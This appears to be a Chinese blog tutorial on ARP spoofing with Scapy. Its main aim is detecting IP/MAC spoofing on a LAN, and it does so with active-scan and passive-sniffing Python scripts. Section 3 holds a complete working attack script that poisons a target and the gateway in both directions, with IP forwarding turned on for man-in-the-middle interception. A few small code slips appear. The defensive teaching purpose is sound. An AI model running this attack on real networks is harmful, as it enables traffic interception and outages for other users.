先给个结论:如果你想快速理解局域网里“明明连着WiFi却突然断网”“同一网段共享文件夹打不开”“别人告诉你IP被占用”这些现象的底层原理,顺便自己动手写一个能看的检测小工具,那标题里这两个关键词——Scapy和ARP 欺骗,就是切入点。我这一篇不搬运网上的现成代码糊弄你,而是把整个链路从头到尾拆开:先说清楚为什么 ARP 这么好骗,然后带你搭环境、跑通一个只用于实验网段的模拟攻击,最后把重心放到如何用 Python 实现 IP 欺骗检测,也就是“发现有人冒充网关或冒充你在局域网里收发数据”。
这个题材稍微有点特殊,我先提醒一句:所有实验请在你自己搭的虚拟环境、或者拥有完全授权的测试网络里进行。这不是开场白式的说教,而是我在实际工作中踩过坑之后的真诚提醒——曾经有人把演示脚本直接丢到公司生产网段跑,结果一小时里全网断断续续,差点变成事故。工具不分好坏,用途才分。
1. 从一次“断网”说起:ARP 协议的工作机制
很多做网络排查的人都有过这种经验:包里配置没问题,网络图标也正常,但网页就是打不开。拿抓包工具一看,网关的 MAC 地址变了,而且每隔几秒就换一个“主人”。这种情况十有八九就是有人在局域网里玩了 ARP 欺骗。
1.1 ARP 缓存表:网络邻居的“名片夹”
ARP(Address Resolution Protocol,地址解析协议)干的事情非常单纯:在以太网通信里,数据包从一台设备到另一台设备,靠的是网卡的 MAC 地址(48 位物理地址),而不是我们平时看的 IP 地址(32 位逻辑地址)。但应用层和网络层已经习惯了用 IP 说话,所以当一个 IP 数据包要发出去的时候,主机必须先问一句:“这个 IP 对应的 MAC 是谁?”
这句话就是 ARP 请求,以广播形式发出:目标 MAC 填成ff:ff:ff:ff:ff:ff,意思是“全屋的人都帮我听听”。这个请求到达同网段所有主机后,拥有对应 IP 的主机会回复一个 ARP 应答:告诉发送方“我就是这个 IP,我的 MAC 是 XX:XX:XX:XX:XX:XX”。
为了让这句问答的结果能复用,每台主机内部都维护了一张 ARP 缓存表,可以理解成通讯录/名片夹:表里记录着 IP 地址映射到哪个 MAC 地址。有了这张表,下次发送数据就不用再广播询问了,直接读表发往对应 MAC。Linux 下可以用arp -an查看,Windows 下用arp -a。
这张表的另一个关键点是:它会定时更新。默认老化时间在 Linux 里通常是 60 到 300 秒不等,Windows 一般是 30 秒到 120 秒。也就是说,缓存不是一成不变的,它允许新信息覆盖旧信息。这个“允许更新”的设计,是 ARC 协议保持灵活性的前提,但也是欺骗能够得手的根源。
1.2 欺骗的本质:乱发名片
现在想象一个场景:主机 A 想和网关通信,它先查自己的 ARP 缓存表,发现已经存了“网关 IP 对应 MAC_G ”。如果这时候有一个恶意主机 M 主动往 A 的网卡里塞了一条 ARP 应答,内容是:“网关 IP 对应的 MAC 其实是 MAC_M ”,广播也好、单播也好,只要 A 收到并且愿意接受这条更新,A 就会把缓存表里网关的那一条改成 MAC_M。后续 A 发给网关的数据,全部会被送往 M。
这个操作就叫 ARP 欺骗,也叫 ARP 缓存投毒。更复杂一点的场景里,攻击者同时欺骗目标主机和网关,让两边都以为“对方的 MAC 是我”,从而实现中间人,可以双向截获流量。标题里的“IP 欺骗检测”其实指的就是这个场景——局域网里有人冒充某个 IP 的身份,导致同网段主机的 ARP 缓存出现错乱。我们要做的检测,本质就是发现这种 IP 与 MAC 对应关系异常变动,并及时告警。
注意:ARP 协议本身没有认证机制,它不验证发送者的身份。就好像名片夹里任何一个人塞给你一张写着“王总电话是 13X”的纸条,你都照单全收。这是 ARP 协议设计时代留下来的历史包袱,也是后来出现各种安全加固方案的直接原因。
2. 环境准备与 Scapy 选型解析
动手之前先把工具箱准备好。标题里点名了Scapy,这个选择非常正确,但我要讲讲为什么它比其他工具更合适,以及环境里有哪些必须提前处理的细节。
2.1 实验环境搭建要点
实验网络建议直接用下面的虚拟结构:
| 设备 | IP 地址 | MAC 地址用途 | 说明 |
|---|---|---|---|
| 攻击者(我们自己的测试机) | 192.168.1.50 | 自己的真实 MAC | 用于运行 Scapy 脚本 |
| 目标主机 | 192.168.1.100 | 正常 MAC | 被观察对象 |
| 网关/路由器 | 192.168.1.1 | 真实 MAC | 需要保护的身份 |
如果你手边没有三台实体机器,用一台电脑加两台虚拟机也能凑合,网络模式选择桥接或者专用的 VMnet 网段。重点是要保证这三者真的在同一个二层广播域内,否则 ARP 广播到达不了彼此,整个实验就是空转。
操作系统我建议直接用 Debian/Ubuntu 或者 Kali 这类 Linux 发行版。原因有两条:第一,Scapy 在 Linux 上的发包能力最完整,收发原始以太网帧几乎没有任何权限阻碍;第二,开启 IP 转发只需要一条sysctl命令,Windows 上做同样的事情还要去改注册表重启系统,麻烦得很。用 Windows 做检测脚本那一侧没问题,但做攻击模拟这一侧确实不如 Linux 顺手。
Python 环境建议 3.8 以上,Scapy 就直接用 pip 装:
pip install scapy装完之后做一个最快速的自检,看能不能构造并发送一个普通的 ARP 请求包:
from scapy.all import ARP, srp ans, unans = srp(ARP(pdst="192.168.1.1"), timeout=2, verbose=False) print(ans.summary())如果能看到类似ARP is at a1:b2:c3:d4:e5:f6的输出,说明环境里的抓包和发包链路已经打通。如果报权限错误,十有八九是没把用户加到 wireshark 抓包组,或者当前用户没有原始套接字的操作权限:
sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/python3或者干脆用sudo跑脚本,也可以解决问题,只是要注意脚本自身的安全。
2.2 为什么选 Scapy 而不是其他库
市面上能操作 ARP 包的库或者工具不少,但认真看完需求之后你会发现,Scapy 在这个细分场景里几乎没有替代品。
netifaces和psutil只能拿到网卡接口信息和 MAC 地址,它们做不了发包这件事;raw_socket可以自己构造 Ethernet 帧然后通过 socket 发送,但代码写起来啰嗦,而且解析数据包的过程极其痛苦。相比之下,Scapy 提供的Ether()/ARP()组合语法非常直白:左半部分控制以太网层目标 MAC 和源 MAC,右半部分控制 ARP 报文内容。它把数据包结构“翻译”成了 Python 对象的属性,写起来几乎就像阅读协议文档。
另外 Scapy 内置的sniff()函数可以直接过滤并回调 ARP 包,这个能力在写检测脚本的时候几乎是刚需。你不需要再引入 pcap 库或者自己解析二进制流,一条sniff(filter="arp", prn=handler)就完成了抓包、过滤、处理的全流程。
我平时在工作中做过一个粗糙的对比:同样写一个“监听 ARP 请求并打印发送方 IP 和 MAC”的脚本,用 Scapy 大约需要 15 行代码,用纯 socket 加协议解析需要 70 行起步,还不算抓包平台兼容性的坑。所以真要说“最新利用 Python 开发包 Scapy 实现”,这个选型没有悬念。
3. 攻击侧复现:看懂原理才能写好防御
先声明一次这个实验的目的:我在这里展示欺骗的构造方法,是为了解释清楚检测策略从哪里来,不是为了让你拿它去干扰真实网络。请务必在隔离的实验环境里操作,并且只在你有权控制的设备之间进行。
3.1 收集节点信息:知己知彼
构造欺骗报文之前,先把三样关键信息拿到手:攻击者自己的网卡接口名和 MAC、目标主机 IP 对应的 MAC、网关 IP 对应的 MAC。
接口名是 Scapy 发包时必须指定的参数,它在 Linux 上通常叫eth0,在虚拟机里可能是ens33或者ens160。查看方式用下面的 Python 代码:
from scapy.all import conf, get_if_list, get_if_hwaddr interface = "eth0" # 换成你自己的网卡名 my_mac = get_if_hwaddr(interface) print("接口:", interface) print("我的 MAC:", my_mac)然后通过发送 ARP 请求来获取目标主机和网关的 MAC:
from scapy.all import Ether, ARP, srp, getmacbyip def get_mac(ip): ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=2, verbose=False) if ans: return ans[0][1].hwsrc return None target_ip = "192.168.1.100" gateway_ip = "192.168.1.1" target_mac = get_mac(target_ip) gateway_mac = get_mac(gateway_ip) print("目标 MAC:", target_mac) print("网关 MAC:", gateway_mac)这里有个细节:getmacbyip()虽然也是 Scapy 自带的函数,但它内部调用的方式和srp略有差异,我建议统一用srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip))这种显式写法。原因是在某些混合网络环境下,getmacbyip()会经过本地 ARP 缓存直接返回旧值,所以我们无法确定拿到的是“实时结果”还是“缓存结果”。显式广播请求的写法更加符合我们做检测时的预期。
3.2 构造两条“假名片”
标准的双向 ARP 欺骗需要发两条包:
第一条发给目标主机,告诉它“网关 IP 的 MAC 是我攻击者的 MAC”。这条包在 Scapy 里长这样:
from scapy.all import Ether, ARP, sendp pkt1 = Ether(dst=target_mac, src=my_mac) / ARP( op=2, # ARP 应答 psrc=gateway_ip, # 伪造的源 IP,填网关 IP hwsrc=my_mac, # 伪造的源 MAC,填攻击者 MAC pdst=target_ip, # 目标 IP hwdst=target_mac # 目标 MAC )第二条发给网关,告诉它“目标主机的 IP 对应的 MAC 是我攻击者的 MAC”:
pkt2 = Ether(dst=gateway_mac, src=my_mac) / ARP( op=2, psrc=target_ip, hwsrc=my_mac, pdst=gateway_ip, hwdst=gateway_mac )注意op=2表示这是一个 ARP 应答包。协议中op=1是请求,op=2是应答。构造欺骗包时必须在应答模式下填好psrc(被冒充的 IP)和hwsrc(攻击者自己的 MAC),这样接收方才有可能采纳这条更新。
3.3 开启转发与持续发送
仅仅发两条包还不够。攻击者的机器如果默认不开启 IP 转发,那么被欺骗的目标主机把数据发给“网关”(其实是攻击者的 MAC 地址)之后,攻击者自己的操作系统会直接丢弃这些数据包,因为它的路由表认为“这不是给我的包”。于是结果不是中间人,而是直接断网。
在 Linux 上开启转发只需要:
sysctl -w net.ipv4.ip_forward=1这个命令临时生效,重启后恢复。想永久生效可以写入/etc/sysctl.conf,自行斟酌。
开启转发之后,完整攻击模拟脚本大概长这样:
from scapy.all import Ether, ARP, sendp, get_if_hwaddr import time, sys interface = "eth0" my_mac = get_if_hwaddr(interface) target_ip = "192.168.1.100" gateway_ip = "192.168.1.1" target_mac = get_mac(target_ip) gateway_mac = get_mac(gateway_ip) pkt1 = Ether(dst=target_mac, src=my_mac) / ARP(op=2, psrc=gateway_ip, hwsrc=my_mac, pdst=target_ip, hwdst=target_mac) pkt2 = Ether(dst=gateway_mac, src=my_mac) / ARP(op=2, psrc=target_ip, hwsrc=my_mac, pdst=gateway_ip, hwdst=gateway_mac) print("[*] 开始发送 ARP 欺骗包,按 Ctrl+C 停止") try: while True: sendp(pkt1, iface=interface, verbose=False) sendp(pkt2, iface=interface, verbose=False) time.sleep(1) except KeyboardInterrupt: print("[*] 已停止,建议马上恢复目标 ARP 表")关于发包频率,我试过 0.5 秒一次和 2 秒一次,实际效果差异不大,因为 ARP 缓存正常情况下不会立刻老化,1 秒一次已经足以让目标主机不断刷新并保持错误映射。发得太快反而容易让本机软中断占用偏高,没有必要。
实验结束之后一定要恢复,方法很简单:用真实网关和真实目标的 MAC 重新向对方各发一条正常的应答包,对方的 ARP 缓存就会改正过来。如果你们在虚拟环境里玩,直接重置虚拟机网络也是一种粗暴但有效的恢复方式。
4. 防御侧落地:用 Python 实现 IP 欺骗检测
攻击侧的代码搞明白了,防御侧的思路也就跟着清晰了。既然攻击者做的事情是“冒充 IP”,那我们的检测核心就一句话:持续追踪 IP 与 MAC 的对应关系,发现异常就报警。
目前主流的检测思路分两种,我把它们的原理、代码、优劣全部整理出来,你可以根据自己网络的规模选择。
4.1 检测思路一:主动请求与缓存基线比对
第一种思路最直观:我们周期性主动去问每一个受保护 IP “你的 MAC 是谁”,然后把结果和一份预先记录的白名单进行比对。一旦发现某个 IP 对应的 MAC 变了,立刻判定异常。
这种方法的优点在于实现简单、结果明确,非常适合小规模的局域网,比如家庭网络、小型办公室。缺点也明显:主动扫描本身会产生额外的网络流量,扫描频率太高会影响正常网络性能,频率太低又可能漏掉短暂的攻击窗口。
基线数据可以通过反复多次探测后取“稳定值”来建立。真实场景里,一份局域网资产的 IP-MAC 绑定表往往来自交换机 DHCP 监听或者后台网管系统,我们直接导入即可:
import csv from scapy.all import Ether, ARP, srp # 基线表:来源于 DHCP 绑定或人工登记 baseline = { "192.168.1.1": "aa:bb:cc:dd:ee:01", "192.168.1.100": "aa:bb:cc:dd:ee:64", } def query_mac(ip): ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=2, verbose=False) if ans: return ans[0][1].hwsrc.lower() return None def check_baseline(): for ip, mac in baseline.items(): real_mac = query_mac(ip) if real_mac is None: print(f"[!] {ip} 无响应,可能主机未开机或已被隔离") elif real_mac != mac.lower(): print(f"[ALERT] IP 欺骗/异常变更: {ip} 期望 MAC={mac} 实际 MAC={real_mac}") while True: check_baseline() time.sleep(30)在循环里每 30 秒跑一次,对于防御一般的攻击演示场景完全够用。如果想提升灵敏度,可以把扫描间隔压到 5 秒,但要注意扫描期间srp发出的广播包会带来额外的 CPU 开销和网络占用,务必在真实网络环境里先做小流量测试。
4.2 检测思路二:被动监听 ARP 响应流
第二种思路更优雅:使用 Scapy 的sniff()函数被动监听局域网内所有的 ARP 应答包,实时提取每个 IP 上报的 MAC 地址,与内存中维护的映射表做对比。谁如果发出一个“来自同一 IP,但 MAC 变了”的应答,就说明有人在试图乱发名片。
被动监听不产生额外流量,对网络性能的影响几乎为零,而且可以捕捉到短暂的攻击行为,不像主动探测那样受限于扫描间隔。缺点是需要保证监听主机能够收到局域网内的 ARP 广播,这要求网卡开启混杂模式。
Scapy 开启混杂模式非常简单,在sniff()里指定prn回调并把网卡放到混杂模式即可。核心代码如下:
from scapy.all import sniff, ARP from collections import defaultdict import time # 记录 IP 对应最近 MAC 的表 mac_seen = defaultdict(set) # 变更记录,防止反复输出同一个 IP 的告警 alarm_status = {} def handle_arp(pkt): if ARP not in pkt: return # 只关心应答包 if pkt[ARP].op != 2: return ip = pkt[ARP].psrc mac = pkt[ARP].hwsrc.lower() src_hw = pkt.src.lower() # 第一条:把来源 MAC 与包内 MAC 做一致性校验 if src_hw != mac: print(f"[ALERT] 以太网源 MAC 与 ARP 载荷 MAC 不一致: {src_hw} vs {mac}") return # 第二条:维护 IP-MAC 历史记录 if mac not in mac_seen[ip]: mac_seen[ip].add(mac) print(f"[INFO] {ip} 首次出现 MAC={mac}") elif len(mac_seen[ip]) > 1: # 同一个 IP 曾经记录过不同 MAC,触发告警 if ip not in alarm_status or alarm_status[ip] != mac: alarm_status[ip] = mac print(f"[ALERT] 同一 IP 出现多个 MAC: {ip} 当前 MAC={mac} 历史={mac_seen[ip]}") sniff(filter="arp", prn=handle_arp, store=False, iface="eth0")这里有两个细节值得展开说一下。
第一个细节是“源 MAC 与载荷 MAC 一致性校验”。正常情况下,以太网帧头里的源 MAC 字段应该和 ARP 载荷里的hwsrc一致,因为发包主机不应该伪造底层地址。但攻击脚本为了方便,往往会直接让src=my_mac同时又把hwsrc=my_mac,两者一致所以骗不过这一层。不过更高级的攻击工具可以把两者故意设成不一致,这时候这条校验就能派上用场。
第二个细节是历史记录集合。我用defaultdict(set)把同一个 IP 的所有历史 MAC 都保存下来,只要某个 IP 出现过的 MAC 数量大于 1,就说明网络里存在 IP 与 MAC 绑定漂移。这在中小型局域网里是强烈的欺骗嫌疑信号。真正常见情况下的 IP-MAC 绑定短期不会改动,除非有人手动修改网卡地址,或者某些网卡的“随机 MAC”功能在作怪。
4.3 检测脚本完整实现与告警输出
把主动和被动两种思路的优点合并起来,可以搭一个比较完整的检测工具:定期主动扫描一遍网内 IP-MAC 基线,同时后台持续监听 ARP 应答用于捕捉中间窗口期的动态变化。告警部分除了控制台打印外,还可以输出到 CSV 文件或者通过 HTTP 调用企业的消息推送接口,这个按需扩展。
我这里给一个整合版的示例框架,作为你们写项目时的起点:
from scapy.all import Ether, ARP, srp, sniff, get_if_hwaddr from collections import defaultdict from datetime import datetime import threading, time, csv BASELINE_FILE = "ip_mac_baseline.csv" ALARM_FILE = "arp_alarm.csv" baseline = {} def load_baseline(): global baseline try: with open(BASELINE_FILE, newline="", encoding="utf-8") as f: reader = csv.reader(f) baseline = {row[0]: row[1].lower() for row in reader if len(row) >= 2} except FileNotFoundError: baseline = {} def save_alarm(ip, expect_mac, actual_mac, reason): with open(ALARM_FILE, "a", newline="", encoding="utf-8") as f: writer = csv.writer(f) writer.writerow([datetime.now().isoformat(), ip, expect_mac, actual_mac, reason]) print(f"[ALERT] {ip} 异常: {reason}") def query_mac(ip): ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=1, verbose=False) if ans: return ans[0][1].hwsrc.lower() return None def active_scan(): while True: for ip, expect_mac in list(baseline.items()): real_mac = query_mac(ip) if real_mac and real_mac != expect_mac: save_alarm(ip, expect_mac, real_mac, "主动扫描发现 MAC 与基线不符") # 不要扫太快,注意网络负载 time.sleep(1) time.sleep(20) mac_seen = defaultdict(set) def passive_monitor(pkt): if ARP not in pkt or pkt[ARP].op != 2: return ip = pkt[ARP].psrc mac = pkt[ARP].hwsrc.lower() if mac not in mac_seen[ip]: mac_seen[ip].add(mac) if len(mac_seen[ip]) > 1: save_alarm(ip, ",".join(sorted(baseline.get(ip, ""))), mac, "被动监听发现 IP 出现新 MAC") def passive_sniff(): sniff(filter="arp", prn=passive_monitor, store=False, iface="eth0") if __name__ == "__main__": load_baseline() t1 = threading.Thread(target=active_scan, daemon=True) t2 = threading.Thread(target=passive_sniff, daemon=True) t1.start() t2.start() print("[*] 检测已启动,按 Ctrl+C 退出") try: while True: time.sleep(5) except KeyboardInterrupt: print("[*] 已退出")这段代码可以直接作为项目骨架运行。基线文件用两列 CSV 保存,第一列 IP,第二列 MAC,我在实际测试中填入三行设备就能跑得很稳。告警记录会持续追加到arp_alarm.csv,方便复盘。
提示:被动监听脚本所在的主机必须能收到同网段的 ARP 广播帧。如果用的是 Wi-Fi 网络,部分网卡驱动会自动过滤掉不是发给自己的帧,这属于硬件层的限制,不全是软件的事。这种情况下优先依赖主动扫描。
5. 常见问题与排查技巧实录
写程序是一回事,到真实环境里跑一遍又是另一回事。下面这些问题是初学者在这类项目里最常撞上的,我按现象、原因、解决办法的方式整理成一张速查表。
| 现象 | 大概率原因 | 排查与解决 |
|---|---|---|
| 攻击脚本发包无效果 | 目标主机 ARP 表是静态条目 | 先执行arp -s 网关IP 网关MAC恢复或删除静态条目再测试 |
发包报Permission denied | 当前用户缺少原始套接字权限 | 用sudo运行,或者对 Python 解释器设置setcap cap_net_raw,cap_net_admin |
sendp一直发但 Wireshark 看不到 | 发到了错误网卡 | 检查iface参数是否与真实接口名一致,用ifconfig或ip link核对 |
| 检测脚本只打印首次信息,不抓变化 | store=False问题不大,通常是网卡混杂模式未开启 | 手动把监听网卡设为混杂模式,或调用conf.promisc = True |
| 主动扫描漏报 | 目标主机防火墙丢弃了 ARP 探测?一般不会,但可能在防 ARP 攻击的主机上被拦截 | 改用被动监听模式,两边配合 |
| 同一个 IP 频繁报警 | 手机或者笔记本开启了“随机硬件地址”功能 | 这是正常的隐私功能,建议在基线表里标记为动态设备,或直接忽略 |
5.1 发出去的包没效果,先怀疑缓存
我第一次做完整测试的时候,脚本一直在跑,抓包工具里也看得到 ARP 响应发往目标,但目标主机就是不为所动。最后在目标机器上执行arp -a才发现,之前做过的某个实验给这个 IP 绑了静态 ARP 条目。静态条目优先级高于动态条目,你可以给它发送任意多的欺骗包,它都拒不接收。遇到这种情况,先清理静态条目再继续。
5.2 检测脚本漏报误报,考虑缓存机制
主动扫描脚本在比较 MAC 时,其实是在和目标主机的 ARP 缓存打交道,而缓存有老化时间,所以如果攻击者只是短暂地发了 5 秒欺骗报文就停了,主动扫描大概率捕捉不到。这也是我把被动监听线程加进去的原因。单纯依靠一种检测手段,在一个 100 台设备的真实局域网里一定会漏。
5.3 静态 ARP 与交换机安全策略带来的干扰
还有一部分高级交换机支持“动态 ARP 检测”(DAI)功能,它会强制检查 ARP 报文里 IP 和 MAC 的绑定关系是否与 DHCP snooping 表一致。如果你们公司网络开了这个功能,那不管攻击脚本怎么写都不会生效。作为检测脚本,识别这种环境时最大的干扰点在于:合法设备如果在短时间内更换了 MAC,比如员工把网线从笔记本的 USB 网卡换到了笔记本自带网口,就会触发告警。这种属于正常变更,并不是攻击。建议在告警逻辑里增加“变更窗口平滑”处理,比如连续 3 次探测结果一致再确认告警,能显著降低误报率。
5.4 一点心得与边界提醒
在我实际接触过的项目里,把 ARP 欺骗检测工具做成一个持续运行的守护进程并不难,难的是如何权衡误报率和覆盖率。家庭网络里设备相对固定,一份静态白名单非常好用;办公网络里各种手机、临时访客、智能设备层出不穷,白名单维护成本很高,这时候被动监听 + 行为分析反而更实用。
我个人在调试这类脚本时的标准流程是:先关闭所有无关服务,在虚拟网络里跑通攻击演示并确认目标主机的 ARP 缓存确实发生了改变;再关掉攻击脚本,启动检测脚本,等它输出“正常监控”信息;最后重新启动攻击脚本,观察检测脚本能否在 10 秒内输出[ALERT]。两次都成功,这工具才算勉强可以打 60 分。
最后再强调一遍边界:ARP 欺骗这个技术在网络安全测试、故障复现、协议教学里都有它的价值,但它也是一把很危险的刀。写检测脚本的人如果连攻击原理都讲不清楚,写出来的防御策略大概率也是空壳。这篇文章从攻击侧讲到防御侧,目的就是让你把这条技术链路完整地走通一遍。做实验请留在自己的领地,别动别人家的网络,这是底线,也是写在职业操守里的内容。